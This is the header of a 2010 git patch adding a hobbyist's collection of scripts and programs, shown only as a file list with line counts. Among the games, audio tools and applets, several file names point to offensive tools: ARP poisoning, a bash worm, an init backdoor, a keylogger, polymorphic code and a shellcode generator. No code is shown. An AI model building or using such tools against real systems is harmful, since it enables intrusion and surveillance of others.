From 21c4e16782bf8fee46cf478cd933a9ba11cca1c7 Mon Sep 17 00:00:00 2001 From: Harvie Date: Mon, 24 May 2010 19:43:05 +0200 Subject: [PATCH] Added some small boring scripts and programs writen in few last years --- .gitignore | 16 + bash/arch-wiki/arch-wiki.bash | 21 + bash/arpoison.bash | 28 + bash/banner.sh | 6 + bash/bash-httpd/bhp/bhp | 18 + bash/bash-httpd/bhp/bhplib.bhp | 31 + bash/bash-httpd/bhp/env.txt | 27 + bash/bash-httpd/bhp/index.bhp | 9 + bash/bash-httpd/bhp/test.bhp | 19 + bash/bash-httpd/elinks.html | 308 + bash/bash-httpd/httpd.bash | 36 + bash/bash-httpd/httpd.bash.save | 8 + bash/bash-httpd/links.html | 299 + bash/bash-httpd/lynx.html | 614 + bash/bash-synthesizer/synth | Bin 0 -> 7493 bytes bash/bash-synthesizer/synth.bash | 9 + bash/bash-synthesizer/synth.cpp | 90 + bash/bashcrawl/crawl.bash | 21 + bash/bashcrawl/curl.debug | 3 + bash/bashcrawl/test.html | 710 + bash/bbs/.gitignore | 1 + bash/bbs/bbs.sh | 332 + bash/bbs/chat.sh | 31 + bash/bbs/config/about | 22 + bash/bbs/config/farewell | 3 + bash/bbs/config/security.log | 88 + bash/bbs/config/users | 5 + bash/bbs/config/welcome | 21 + bash/bbs/data/boards/lol | 1 + bash/bbs/data/boards/test | 0 bash/bbs/data/boards/testdir/a | 4 + bash/bbs/data/boards/testdir/b | 10 + bash/bbs/data/boards/testdir/c | 0 bash/bbs/data/chatrooms/omg mg | 0 bash/bbs/data/chatrooms/room1 | 50 + bash/bbs/data/chatrooms/room2 | 5 + bash/bbs/temp | 46 + bash/bbs/utils/fm/PKGBUILD | 20 + bash/bbs/utils/fm/fm-1.0/.hg_archival.txt | 2 + bash/bbs/utils/fm/fm-1.0/.hgignore | 5 + bash/bbs/utils/fm/fm-1.0/.hgtags | 1 + bash/bbs/utils/fm/fm-1.0/AUTHOR | 1 + bash/bbs/utils/fm/fm-1.0/COPYING | 674 + bash/bbs/utils/fm/fm-1.0/Makefile | 29 + bash/bbs/utils/fm/fm-1.0/README | 69 + bash/bbs/utils/fm/fm-1.0/TODO | 1 + bash/bbs/utils/fm/fm-1.0/cmd.c | 267 + bash/bbs/utils/fm/fm-1.0/cmd.o | Bin 0 -> 6968 bytes bash/bbs/utils/fm/fm-1.0/fm | Bin 0 -> 22436 bytes bash/bbs/utils/fm/fm-1.0/fm.c | 97 + bash/bbs/utils/fm/fm-1.0/fm.h | 139 + bash/bbs/utils/fm/fm-1.0/fm.o | Bin 0 -> 2648 bytes bash/bbs/utils/fm/fm-1.0/fs.c | 416 + bash/bbs/utils/fm/fm-1.0/fs.o | Bin 0 -> 8024 bytes bash/bbs/utils/fm/fm-1.0/gen_protos.sh | 13 + bash/bbs/utils/fm/fm-1.0/ino.c | 35 + bash/bbs/utils/fm/fm-1.0/strace | 573 + bash/bbs/utils/fm/fm-1.0/ui.c | 367 + bash/bbs/utils/fm/fm-1.0/ui.o | Bin 0 -> 9536 bytes bash/bbs/utils/fselect | Bin 0 -> 20712 bytes bash/bbs/utils/menu | Bin 0 -> 6876 bytes bash/bbs/utils/menu.c | 76 + bash/bbs/utils/menu.py | 152 + ...1\305\276\303\275\303\241\303\255\303\251" | 0 bash/bhttpd/httpd.bash | 20 + bash/bircb/birc.bash | 272 + bash/bircb/r | 0 bash/bircb/test.bash | 11 + bash/bsod.sh | 31 + bash/butils/tinyutils.bash | 12 + bash/caudacious.sh | 39 + bash/debian-ports/debiarch.sh | 81 + bash/debian-ports/test/PKGBUILD | 56 + bash/debian-ports/test/debian.install | 114 + bash/debian-ports/test/postinst | 38 + bash/getopts.sh | 7 + bash/hhgame/etc/motd | 12 + bash/hhgame/etc/win | 11 + bash/hhgame/games/stupid.sh | 20 + bash/hhgame/include.sh | 29 + bash/hhgame/login.sh | 18 + bash/hhgame/man/hhgame.txt | 17 + bash/hhgame/shell.sh | 16 + bash/hhgame/test.sh | 5 + bash/hhgame/var/log/winners | 7 + bash/hhgame/win.sh | 17 + bash/infect/bash-worm.htm | 11 + bash/infect/bash-worm.swf | Bin 0 -> 2401637 bytes bash/infect/hello | Bin 0 -> 3418 bytes bash/infect/hello.c | 2 + bash/infect/infect-mini.bash | 1 + bash/infect/infect-test.bash | 18 + bash/infect/infect.bash | 17 + bash/infect/lol | 0 bash/infect/test.sh | Bin 0 -> 1211 bytes bash/infect/vicitim.sh | 3 + bash/initbackdoor/S13etd | 15 + bash/initbackdoor/initl.sh | 17 + bash/lame-recoder/.gitignore | 1 + bash/lame-recoder/All | 0 bash/lame-recoder/But | 0 bash/lame-recoder/PKGBUILD | 20 + bash/lame-recoder/lamer.bash | 88 + bash/lastfm/lastfm.bash | 17 + bash/meld-pacnew.sh | 3 + bash/nano-crypt/ccrypt-nano | 57 + bash/nano-crypt/lol.txt.cpt | 1 + bash/nano-crypt/tee-lazy | Bin 0 -> 514296 bytes bash/nano-crypt/tee-lazy.c | 18 + bash/netinfect/neti.bash | 18 + bash/netinfect/open22s.txt | 94 + bash/pidgin.bash | 32 + bash/pingscan.sh | 11 + bash/scannery/internet-graber | 9 + bash/scannery/minicom.cap | 1 + bash/ssh-keepalive/falive | 21 + bash/ssh-keepalive/kalive | 21 + bash/sys_call_table.sh | 2 + bash/turbo.bash | 25 + bash/virustotal/bad | 51 + bash/virustotal/good | 87 + bash/virustotal/virustotal.sh | 23 + bash/wine_sandbox.bash | 7 + bash/world-animation/world.sh | 12 + bash/world-animation/world.txt | 749 + bash/x-mouse/click.c | 67 + bash/x-mouse/pixart.sh | 28 + bash/x-mouse/xwarppointer/Makefile | 14 + bash/x-mouse/xwarppointer/README | 42 + bash/x-mouse/xwarppointer/main.c | 158 + bash/x-mouse/xwarppointer/swap.pl | 15 + bash/xdotool-exploit.txt | 1 + bash/xpbsod.sh | 50 + bash/youtube.sh | 45 + bash/zenman/PKGBUILD | 52 + bash/zenman/dsf | 21189 ++++++++++++++++ bash/zenman/old/zenman.sh | 184 + bash/zenman/screens/avail.png | Bin 0 -> 928674 bytes bash/zenman/screens/notification-2.png | Bin 0 -> 95427 bytes bash/zenman/screens/noupdate.png | Bin 0 -> 938293 bytes bash/zenman/screens/zenman-logo.png | Bin 0 -> 10430 bytes bash/zenman/screens/zenman-screenshot-2.png | Bin 0 -> 212603 bytes bash/zenman/screens/zenman-screenshot-2.xcf | Bin 0 -> 437060 bytes bash/zenman/screens/zenman-screenshot.png | Bin 0 -> 50304 bytes bash/zenman/zenman.bash | 218 + c/a.out | Bin 0 -> 5579 bytes c/aclox | Bin 0 -> 7903 bytes c/aclox.c | 169 + c/alarm/alarm | Bin 0 -> 7391 bytes c/alarm/alarm.c | 19 + c/binary | Bin 0 -> 4218 bytes c/binary.c | 19 + c/biometrics/biom | Bin 0 -> 7199 bytes c/biometrics/biom.c | 56 + c/bpole/bity | Bin 0 -> 7201 bytes c/bpole/bity.c | 13 + c/bpole/bpole.c | 23 + c/brute | Bin 0 -> 5611 bytes c/brute.c | 59 + c/brute.d | 59 + c/combinator | Bin 0 -> 5089 bytes c/combinator.c | 38 + c/condrum/Makefile.win | 33 + c/condrum/bass.dll | Bin 0 -> 92728 bytes c/condrum/bass.h | 845 + c/condrum/bass.lib | Bin 0 -> 69160 bytes c/condrum/condrum.c | 136 + c/condrum/condrum.dev | 59 + c/condrum/condrum.exe | Bin 0 -> 24294 bytes c/condrum/condrum.ico | Bin 0 -> 2238 bytes c/condrum/condrum.o | Bin 0 -> 2631 bytes c/condrum/condrum_private.h | 23 + c/condrum/condrum_private.rc | 37 + c/condrum/condrum_private.res | Bin 0 -> 3280 bytes c/condrum/loop.txt | 45 + c/contests/mrcrow | Bin 0 -> 7202 bytes c/contests/mrcrow.c | 12 + c/cshell/cshell.c | 30 + c/dot.png | Bin 0 -> 13359 bytes c/dreammachine/PKGBUILD | 37 + c/dreammachine/dm.html | 3 + c/dreammachine/strobe | Bin 0 -> 6721 bytes c/dreammachine/strobe.c | 55 + c/dreammachine/strobe.gif | Bin 0 -> 91 bytes c/fork.c | 14 + c/fork/client.c | 44 + c/fork/fork.c | 10 + c/hello | Bin 0 -> 2832 bytes c/hello.c | 5 + c/i.c | 47 + c/kalk/kalk | Bin 0 -> 7375 bytes c/kalk/kalk.c | 23 + c/kalk/kalk.c.save | 16 + c/kbhit | Bin 0 -> 7501 bytes c/kbhit.c | 12 + c/keylogger/keylog.txt | Bin 0 -> 3696 bytes c/keylogger/klog | Bin 0 -> 9792 bytes c/keylogger/klog.c | 109 + c/keylogger/lol | Bin 0 -> 288 bytes c/keylogger/mice | Bin 0 -> 648 bytes c/keylogger/rofl | 1 + c/keylogger/spoofk | Bin 0 -> 7089 bytes c/keylogger/spoofk.c | 10 + c/lkm/.hello.ko.cmd | 1 + c/lkm/.hello.mod.o.cmd | 429 + c/lkm/.hello.o.cmd | 427 + c/lkm/.proc.ko.cmd | 1 + c/lkm/.proc.mod.o.cmd | 429 + c/lkm/.proc.o.cmd | 475 + c/lkm/.tmp_versions/hello.mod | 2 + c/lkm/.tmp_versions/proc.mod | 2 + c/lkm/Makefile | 8 + c/lkm/Module.symvers | 0 c/lkm/hello.c | 20 + c/lkm/hello.ko | Bin 0 -> 2162 bytes c/lkm/hello.mod.c | 21 + c/lkm/hello.mod.o | Bin 0 -> 1456 bytes c/lkm/hello.o | Bin 0 -> 1272 bytes c/lkm/modules.order | 2 + c/lkm/oldmak | 12 + c/lkm/proc.c | 68 + c/lkm/proc.ko | Bin 0 -> 2792 bytes c/lkm/proc.mod.c | 21 + c/lkm/proc.mod.o | Bin 0 -> 1456 bytes c/lkm/proc.o | Bin 0 -> 1920 bytes c/mice | Bin 0 -> 7499 bytes c/mice.c | 14 + c/mmap/mmap | Bin 0 -> 5543 bytes c/mmap/mmap.c | 28 + c/ninvaders-0.1.1/ChangeLog | 320 + c/ninvaders-0.1.1/Makefile | 16 + c/ninvaders-0.1.1/aliens.c | 308 + c/ninvaders-0.1.1/aliens.h | 78 + c/ninvaders-0.1.1/globals.c | 530 + c/ninvaders-0.1.1/globals.h | 35 + c/ninvaders-0.1.1/gpl.txt | 340 + c/ninvaders-0.1.1/nInvaders.c | 367 + c/ninvaders-0.1.1/nInvaders.h | 60 + c/ninvaders-0.1.1/player.c | 240 + c/ninvaders-0.1.1/player.h | 55 + c/ninvaders-0.1.1/readme | 52 + c/ninvaders-0.1.1/ufo.c | 101 + c/ninvaders-0.1.1/ufo.h | 49 + c/ninvaders-0.1.1/view.c | 589 + c/ninvaders-0.1.1/view.h | 78 + c/polymorph/morph | Bin 0 -> 10514 bytes c/polymorph/morph.c | 111 + c/polymorph/morphthis.txt | 12 + c/polymorph/mutant.exe | Bin 0 -> 10724 bytes c/polymorph/out.txt | 12 + c/pong/erl_crash.dump | 3536 +++ c/pong/hPong.nfo | 20 + c/pong/pong | Bin 0 -> 11734 bytes c/pong/pong.c | 311 + c/sampler/Makefile | 7 + c/sampler/ao_example.c | 85 + c/sampler/c/playmus.c | 193 + c/sampler/c/sdl-example.c | 58 + c/sampler/c/sdl-old.c | 259 + c/sampler/c/sdl-old2.c | 115 + c/sampler/c/sdl-sampler_backup.c | 71 + c/sampler/sdl | Bin 0 -> 10366 bytes c/sampler/sdl.c | 149 + c/sampler/synth | Bin 0 -> 6245 bytes c/sampler/synth.c | 80 + c/sampler/test.seq | 15 + c/sdl/sdl.c | 41 + c/shellcodegenerator/scgen | Bin 0 -> 7268 bytes c/shellcodegenerator/scgen.c | 14 + c/spiral | Bin 0 -> 7072 bytes c/spiral.c | 104 + c/strtok | Bin 0 -> 4814 bytes c/strtok.c | 14 + c/termio | Bin 0 -> 7266 bytes c/termio.c | 10 + c/tv-b-gone/Makefile | 364 + c/tv-b-gone/NAcodes.c | 2607 ++ c/tv-b-gone/codes.h | 4 + c/tv-b-gone/main.c | 244 + c/tv-b-gone/main.h | 9 + c/tv-b-gone/parsecode.pl | 8 + c/tv-b-gone/tvbgone.hex | 514 + c/tv-b-gone/util.c | 88 + c/tv-b-gone/util.h | 23 + java/DrawingCanvas.class | Bin 0 -> 963 bytes java/DrawingRegion.class | Bin 0 -> 453 bytes java/_nodist/SketchPanel.java | 75 + java/_nodist/socket.java | 69 + java/canvas.class | Bin 0 -> 894 bytes java/canvas.java | 37 + java/pong/Makefile | 9 + java/pong/PongFrame.class | Bin 0 -> 944 bytes java/pong/PongNetwork.class | Bin 0 -> 3113 bytes java/pong/PongPanel.class | Bin 0 -> 4597 bytes java/pong/README | 32 + java/pong/doc/allclasses-frame.html | 31 + java/pong/doc/allclasses-noframe.html | 31 + java/pong/doc/constant-values.html | 142 + java/pong/doc/deprecated-list.html | 142 + java/pong/doc/help-doc.html | 209 + java/pong/doc/index-all.html | 149 + java/pong/doc/index.html | 36 + java/pong/doc/overview-tree.html | 145 + java/pong/doc/package-frame.html | 32 + java/pong/doc/package-list | 1 + java/pong/doc/package-summary.html | 143 + java/pong/doc/package-tree.html | 146 + java/pong/doc/pong.html | 256 + java/pong/doc/resources/inherit.gif | Bin 0 -> 57 bytes java/pong/doc/stylesheet.css | 29 + java/pong/pong.class | Bin 0 -> 544 bytes java/pong/pong.java | 297 + misc/eset/.gitignore | 1 + misc/eset/analyze.c | 17 + misc/eset/lsort.sh | 6 + misc/eset/run.bash | 14 + misc/eset/run.pl | 14 + misc/gbook/dtemp | 2 + misc/gbook/game01.txt | 7 + misc/gbook/gbook.bash | 83 + misc/gbook/go.sh | 1 + misc/gbook/hacker.txt | 153 + misc/gbook/lol | 1 + misc/gbook/rand.sh | 13 + misc/multiplatform-ui/clanek.html | 227 + misc/multiplatform-ui/clanek.pdf | Bin 0 -> 187432 bytes misc/multiplatform-ui/glade3.png | Bin 0 -> 63546 bytes misc/multiplatform-ui/hello | Bin 0 -> 14133 bytes misc/multiplatform-ui/hello.c | 46 + misc/multiplatform-ui/hello.cs | 30 + misc/multiplatform-ui/hello.html | 38 + misc/multiplatform-ui/hello.php | 48 + misc/multiplatform-ui/hello.pl | 38 + misc/multiplatform-ui/hello.png | Bin 0 -> 7427 bytes misc/multiplatform-ui/hello.py | 28 + misc/multiplatform-ui/hello.ui | 38 + misc/multiplatform-ui/test.php | 19 + mono/testgtk/Packages.mdproj | 37 + mono/testgtk/testgtk.sln | 26 + mono/testgtk/testgtk.userprefs | 29 + mono/testgtk/testgtk/AssemblyInfo.cs | 26 + mono/testgtk/testgtk/Main.cs | 16 + mono/testgtk/testgtk/MainWindow.cs | 16 + mono/testgtk/testgtk/gtk-gui/MainWindow.cs | 14 + mono/testgtk/testgtk/gtk-gui/generated.cs | 42 + mono/testgtk/testgtk/gtk-gui/gui.stetic | 20 + mono/testgtk/testgtk/testgtk.csproj | 50 + mono/testgtk/testgtk/testgtk.pidb | Bin 0 -> 6137 bytes perl/cells.pl | 17 + perl/circle.pl | 15 + perl/crawler/berkeley.pl | 43 + perl/crawler/crawl-old.pl | 56 + perl/crawler/crawl-q.pl | 62 + perl/crawler/crawl.pl | 70 + perl/crawler/r.pl | 25 + perl/crawler/urls.txt | 0 perl/curses/curses.pl | 86 + perl/curses/dialog.pl | 10 + perl/curses/edit.pl | 130 + perl/curses/file.pl | 23 + perl/curses/plaincurses.pl | 21 + perl/curses/textentry.pl | 14 + perl/embed/Makefile | 2 + perl/embed/embed | Bin 0 -> 6191 bytes perl/embed/embed.c | 40 + perl/fce.pl | 9 + perl/fullmoon/PKGBUILD | 30 + perl/fullmoon/dbg/fullmoon.pl | 21 + perl/fullmoon/dbg/moonphase.pl | 45 + perl/fullmoon/moonphase-applet.desktop | 8 + perl/fullmoon/moonphase-applet.pl | 96 + .../fullmoon/moonphase-icons/Moon_phase_0.svg | 65 + .../fullmoon/moonphase-icons/Moon_phase_1.svg | 72 + .../fullmoon/moonphase-icons/Moon_phase_2.svg | 72 + .../fullmoon/moonphase-icons/Moon_phase_3.svg | 72 + .../fullmoon/moonphase-icons/Moon_phase_4.svg | 67 + .../fullmoon/moonphase-icons/Moon_phase_5.svg | 72 + .../fullmoon/moonphase-icons/Moon_phase_6.svg | 73 + .../fullmoon/moonphase-icons/Moon_phase_7.svg | 72 + perl/fullmoon/pix/phase01.gif | Bin 0 -> 5460 bytes perl/fullmoon/pix/phase02.gif | Bin 0 -> 4650 bytes perl/fullmoon/pix/phase03.gif | Bin 0 -> 5280 bytes perl/fullmoon/pix/phase04.gif | Bin 0 -> 7409 bytes perl/fullmoon/pix/phase05.gif | Bin 0 -> 9421 bytes perl/fullmoon/pix/phase06.gif | Bin 0 -> 8731 bytes perl/fullmoon/pix/phase07.gif | Bin 0 -> 5298 bytes perl/fullmoon/pix/phase08.gif | Bin 0 -> 4014 bytes perl/fullmoon/pix2/mes0.gif | Bin 0 -> 1846 bytes perl/fullmoon/pix2/mes1.gif | Bin 0 -> 1894 bytes perl/fullmoon/pix2/mes10.gif | Bin 0 -> 1679 bytes perl/fullmoon/pix2/mes11.gif | Bin 0 -> 1582 bytes perl/fullmoon/pix2/mes12.gif | Bin 0 -> 1648 bytes perl/fullmoon/pix2/mes13.gif | Bin 0 -> 1639 bytes perl/fullmoon/pix2/mes14.gif | Bin 0 -> 1646 bytes perl/fullmoon/pix2/mes15.gif | Bin 0 -> 1611 bytes perl/fullmoon/pix2/mes16.gif | Bin 0 -> 1610 bytes perl/fullmoon/pix2/mes17.gif | Bin 0 -> 1610 bytes perl/fullmoon/pix2/mes18.gif | Bin 0 -> 1629 bytes perl/fullmoon/pix2/mes19.gif | Bin 0 -> 1573 bytes perl/fullmoon/pix2/mes2.gif | Bin 0 -> 1836 bytes perl/fullmoon/pix2/mes20.gif | Bin 0 -> 1566 bytes perl/fullmoon/pix2/mes21.gif | Bin 0 -> 1575 bytes perl/fullmoon/pix2/mes22.gif | Bin 0 -> 1541 bytes perl/fullmoon/pix2/mes23.gif | Bin 0 -> 1577 bytes perl/fullmoon/pix2/mes24.gif | Bin 0 -> 1591 bytes perl/fullmoon/pix2/mes25.gif | Bin 0 -> 1624 bytes perl/fullmoon/pix2/mes26.gif | Bin 0 -> 1640 bytes perl/fullmoon/pix2/mes27.gif | Bin 0 -> 1672 bytes perl/fullmoon/pix2/mes28.gif | Bin 0 -> 1666 bytes perl/fullmoon/pix2/mes29.gif | Bin 0 -> 1658 bytes perl/fullmoon/pix2/mes3.gif | Bin 0 -> 1802 bytes perl/fullmoon/pix2/mes30.gif | Bin 0 -> 1629 bytes perl/fullmoon/pix2/mes31.gif | Bin 0 -> 1718 bytes perl/fullmoon/pix2/mes32.gif | Bin 0 -> 1756 bytes perl/fullmoon/pix2/mes33.gif | Bin 0 -> 1834 bytes perl/fullmoon/pix2/mes34.gif | Bin 0 -> 1823 bytes perl/fullmoon/pix2/mes35.gif | Bin 0 -> 1864 bytes perl/fullmoon/pix2/mes4.gif | Bin 0 -> 1779 bytes perl/fullmoon/pix2/mes5.gif | Bin 0 -> 1798 bytes perl/fullmoon/pix2/mes6.gif | Bin 0 -> 1709 bytes perl/fullmoon/pix2/mes7.gif | Bin 0 -> 1662 bytes perl/fullmoon/pix2/mes8.gif | Bin 0 -> 1606 bytes perl/fullmoon/pix2/mes9.gif | Bin 0 -> 1581 bytes perl/fullmoon/pix3/fm1.gif | Bin 0 -> 9499 bytes perl/fullmoon/pix3/fm2.gif | Bin 0 -> 7349 bytes perl/fullmoon/pix3/fm3.gif | Bin 0 -> 11749 bytes perl/fullmoon/pix3/fm4.gif | Bin 0 -> 14099 bytes perl/fullmoon/pix3/fm5.gif | Bin 0 -> 13387 bytes perl/fullmoon/pix3/fm6.gif | Bin 0 -> 13039 bytes perl/fullmoon/pix3/fm7.gif | Bin 0 -> 10764 bytes perl/fullmoon/pix3/fm8.gif | Bin 0 -> 7898 bytes perl/fullmoon/pix4/Moon_phase_0.svg | 30 + perl/fullmoon/pix4/Moon_phase_1.svg | 37 + perl/fullmoon/pix4/Moon_phase_2.svg | 37 + perl/fullmoon/pix4/Moon_phase_3.svg | 37 + perl/fullmoon/pix4/Moon_phase_4.svg | 32 + perl/fullmoon/pix4/Moon_phase_5.svg | 37 + perl/fullmoon/pix4/Moon_phase_6.svg | 38 + perl/fullmoon/pix4/Moon_phase_7.svg | 37 + perl/fullmoon/pix5/cartoonmoon_12frames.png | Bin 0 -> 30016 bytes perl/fullmoon/pix5/moon_56frames.png | Bin 0 -> 28279 bytes perl/fuse/fs1.pl | 28 + perl/fuse/fs2.pl | 44 + perl/gnutella/gnutella.pl | 42 + perl/grfkill/PKGBUILD | 25 + perl/grfkill/rfkill-applet.desktop | 8 + perl/grfkill/rfkill-applet.pl | 34 + perl/grfkill/thread-rfkill-applet.pl | 40 + perl/gtk2/builder.pl | 32 + perl/gtk2/glade/builder.pl | 38 + perl/gtk2/glade/sample.builder | 45 + perl/gtk2/gtk2.pl | 13 + perl/gtk2/sample.builder | 15 + perl/index/.gitignore | 2 + perl/index/index.pl | 34 + perl/input.pl | 8 + perl/kyberia/.gitignore | 3 + perl/kyberia/Kyberia.pl | 85 + perl/kyberia/builder.pl | 32 + perl/kyberia/kyberia-mail.ui | 441 + perl/lol | 11 + perl/lwp.pl | 8 + perl/mail.html | 1169 + perl/mandelbrot.pl | 40 + perl/mandelbrot2.pl | 76 + perl/pi.pl | 18 + perl/prime.pl | 36 + perl/smtp.pl | 49 + perl/smtp2.pl | 23 + perl/smtp3.pl | 58 + perl/socket.pl | 14 + perl/term.pl | 36 + perl/test.php | 11 + perl/test.pl | 11 + perl/thr.pl | 33 + perl/time | 2 + perl/timebench/PKGBUILD | 20 + perl/timebench/timebench.pl | 117 + perl/timeout.pl | 16 + perl/translate.pl | 35 + perl/xml.pl | 15 + php/bannerfind.php | 53 + php/botlib.php | 90 + php/crawler/crawler.php | 219 + php/crawler/curl.debug | 4 + php/crawler/urls.txt | 7145 ++++++ php/czech-tts/czech-tts.php | 44 + php/de64.php | 4 + php/neuronics/neural.php | 272 + php/overfloo/flooz/http.floo | 4 + php/overfloo/overfloo.php | 81 + php/pico/pico.php | 7 + php/proslov.php | 87 + php/proslov.php.old | 89 + php/serv_seek.php | 24 + php/suplovani/rozvrh.rss.php | 36 + php/suplovani/supl.xml | 33 + php/suplovani/suplovani.php | 33 + .../chrome-extensions/DrawView/content.css | 38 + plugins/chrome-extensions/DrawView/content.js | 56 + plugins/chrome-extensions/DrawView/icon.png | Bin 0 -> 25805 bytes .../chrome-extensions/DrawView/jquery.min.js | 19 + .../chrome-extensions/DrawView/manifest.json | 20 + .../chrome-extensions/editor/background.html | 23 + .../editor/content_script.js | 27 + plugins/chrome-extensions/editor/icon.png | Bin 0 -> 314 bytes .../editor/jquery-1.3.2.min.js | 19 + .../chrome-extensions/editor/manifest.json | 18 + plugins/chrome-extensions/editor/popup.css | 14 + plugins/chrome-extensions/editor/popup.html | 39 + .../chrome-extensions/kybca2/background.html | 49 + plugins/chrome-extensions/kybca2/ico-big.png | Bin 0 -> 11077 bytes plugins/chrome-extensions/kybca2/login.html | 24 + .../chrome-extensions/kybca2/manifest.json | 23 + plugins/chrome-extensions/kybca2/options.html | 62 + .../kyberia/blinking-mail.gif | Bin 0 -> 13406 bytes .../chrome-extensions/kyberia/ico-small.jpg | Bin 0 -> 2761 bytes plugins/chrome-extensions/kyberia/icon.png | Bin 0 -> 894 bytes .../chrome-extensions/kyberia/mail-notify.crx | Bin 0 -> 18086 bytes plugins/chrome-extensions/kyberia/socket.html | 2 + plugins/dokuwiki-smileys/button.png | Bin 0 -> 547 bytes plugins/dokuwiki-smileys/delete.gif | Bin 0 -> 1421 bytes plugins/dokuwiki-smileys/done.png | Bin 0 -> 1035 bytes plugins/dokuwiki-smileys/duplicate.png | Bin 0 -> 886 bytes plugins/dokuwiki-smileys/fixme.gif | Bin 0 -> 1435 bytes plugins/dokuwiki-smileys/out/done.gif | Bin 0 -> 1325 bytes plugins/dokuwiki-smileys/out/duplicate.gif | Bin 0 -> 932 bytes plugins/dokuwiki-smileys/out/readme.gif | Bin 0 -> 1380 bytes plugins/dokuwiki-smileys/out/todo.gif | Bin 0 -> 1335 bytes plugins/dokuwiki-smileys/readme.png | Bin 0 -> 1031 bytes plugins/dokuwiki-smileys/todo.gif | Bin 0 -> 1435 bytes plugins/dokuwiki-smileys/todo.png | Bin 0 -> 954 bytes .../skeleton/chrome.manifest | 3 + .../skeleton/chrome/content/overlay.xul | 9 + .../firefox-extensions/skeleton/install.rdf | 27 + plugins/firefox-extensions/test/.gitignore | 1 + .../test/launcher/README.txt | 4 + .../test/launcher/chrome.manifest | 2 + .../test/launcher/chrome/content/overlay.js | 300 + .../test/launcher/chrome/content/overlay.xul | 6 + .../test/launcher/chrome/content/prefs.xul | 20 + .../test/launcher/chrome/launcher.jar | Bin 0 -> 10494 bytes .../test/launcher/install.rdf | 26 + .../test/launcher/launcher-1.1-fx.xpi | Bin 0 -> 5339 bytes .../test/launcher/link-handlers.js | 2 + .../test/skeleton/chrome.manifest | 3 + .../chrome/content/connection-xpcom.js | 723 + .../test/skeleton/chrome/content/mozex.js | 300 + .../test/skeleton/chrome/content/overlay.js | 300 + .../test/skeleton/chrome/content/overlay.xul | 42 + .../test/skeleton/install.rdf | 27 + .../test/skeleton/skeleton.zip.xpi | Bin 0 -> 15161 bytes plugins/firefox-extensions/test/test.html | 12 + plugins/firefox-extensions/test/top.xul | 69 + plugins/pidgin-plugins/.gitignore | 1 + plugins/pidgin-plugins/autokiss/COPYING | 340 + plugins/pidgin-plugins/autokiss/ChangeLog | 6 + plugins/pidgin-plugins/autokiss/Makefile | 54 + plugins/pidgin-plugins/autokiss/README | 41 + plugins/pidgin-plugins/autokiss/TODO | 9 + plugins/pidgin-plugins/autokiss/autoansw.c | 433 + plugins/pidgin-plugins/autokiss/autoansw.o | Bin 0 -> 11368 bytes plugins/pidgin-plugins/autokiss/autoansw.so | Bin 0 -> 19068 bytes plugins/pidgin-plugins/autokiss/regex | Bin 0 -> 4934 bytes plugins/pidgin-plugins/autokiss/regex.c | 10 + puredata/6.externs/0.README.txt | 9 + puredata/6.externs/dspobj~.c | 67 + puredata/6.externs/obj1.c | 47 + puredata/6.externs/obj2.c | 45 + puredata/6.externs/obj3.c | 39 + puredata/6.externs/obj4.c | 47 + puredata/6.externs/obj5.c | 54 + puredata/6.externs/test-dspobj~.pd | 11 + puredata/6.externs/test-obj1.pd | 6 + puredata/6.externs/test-obj2.pd | 8 + puredata/6.externs/test-obj3.pd | 8 + puredata/6.externs/test-obj4.pd | 6 + puredata/6.externs/test-obj5.pd | 4 + puredata/beep~.pd | 16 + puredata/ccc.pd_linux | 1 + puredata/counter.c | 53 + puredata/counter.pd | 25 + puredata/counter.pd_linux | Bin 0 -> 5638 bytes puredata/dac_mixer.pd | 74 + puredata/desetkrate.pd | 6 + puredata/gem.pd | 88 + puredata/helloworld.c | 33 + puredata/helloworld.pd_linux | Bin 0 -> 4794 bytes puredata/helloworld.so | Bin 0 -> 4774 bytes puredata/neuralnet.pd | 38 + puredata/neuron.pd | 63 + puredata/norm.pd | 93 + puredata/oscope~.pd | 21 + puredata/pd-externals-HOWTO.pdf | 9225 +++++++ puredata/pd-jack.sh | 9 + puredata/pd.ps | 5438 ++++ puredata/printer.c | 42 + puredata/printer.pd_linux | Bin 0 -> 4865 bytes puredata/rekurze.pd | 8 + puredata/test.pd | 349 + 600 files changed, 81406 insertions(+) create mode 100644 .gitignore create mode 100755 bash/arch-wiki/arch-wiki.bash create mode 100755 bash/arpoison.bash create mode 100755 bash/banner.sh create mode 100755 bash/bash-httpd/bhp/bhp create mode 100644 bash/bash-httpd/bhp/bhplib.bhp create mode 100644 bash/bash-httpd/bhp/env.txt create mode 100644 bash/bash-httpd/bhp/index.bhp create mode 100644 bash/bash-httpd/bhp/test.bhp create mode 100644 bash/bash-httpd/elinks.html create mode 100755 bash/bash-httpd/httpd.bash create mode 100644 bash/bash-httpd/httpd.bash.save create mode 100644 bash/bash-httpd/links.html create mode 100644 bash/bash-httpd/lynx.html create mode 100755 bash/bash-synthesizer/synth create mode 100755 bash/bash-synthesizer/synth.bash create mode 100644 bash/bash-synthesizer/synth.cpp create mode 100755 bash/bashcrawl/crawl.bash create mode 100755 bash/bashcrawl/curl.debug create mode 100755 bash/bashcrawl/test.html create mode 100644 bash/bbs/.gitignore create mode 100755 bash/bbs/bbs.sh create mode 100755 bash/bbs/chat.sh create mode 100755 bash/bbs/config/about create mode 100755 bash/bbs/config/farewell create mode 100755 bash/bbs/config/security.log create mode 100755 bash/bbs/config/users create mode 100755 bash/bbs/config/welcome create mode 100644 bash/bbs/data/boards/lol create mode 100644 bash/bbs/data/boards/test create mode 100644 bash/bbs/data/boards/testdir/a create mode 100644 bash/bbs/data/boards/testdir/b create mode 100644 bash/bbs/data/boards/testdir/c create mode 100755 bash/bbs/data/chatrooms/omg mg create mode 100755 bash/bbs/data/chatrooms/room1 create mode 100755 bash/bbs/data/chatrooms/room2 create mode 100755 bash/bbs/temp create mode 100644 bash/bbs/utils/fm/PKGBUILD create mode 100644 bash/bbs/utils/fm/fm-1.0/.hg_archival.txt create mode 100644 bash/bbs/utils/fm/fm-1.0/.hgignore create mode 100644 bash/bbs/utils/fm/fm-1.0/.hgtags create mode 100644 bash/bbs/utils/fm/fm-1.0/AUTHOR create mode 100644 bash/bbs/utils/fm/fm-1.0/COPYING create mode 100644 bash/bbs/utils/fm/fm-1.0/Makefile create mode 100644 bash/bbs/utils/fm/fm-1.0/README create mode 100644 bash/bbs/utils/fm/fm-1.0/TODO create mode 100644 bash/bbs/utils/fm/fm-1.0/cmd.c create mode 100644 bash/bbs/utils/fm/fm-1.0/cmd.o create mode 100755 bash/bbs/utils/fm/fm-1.0/fm create mode 100644 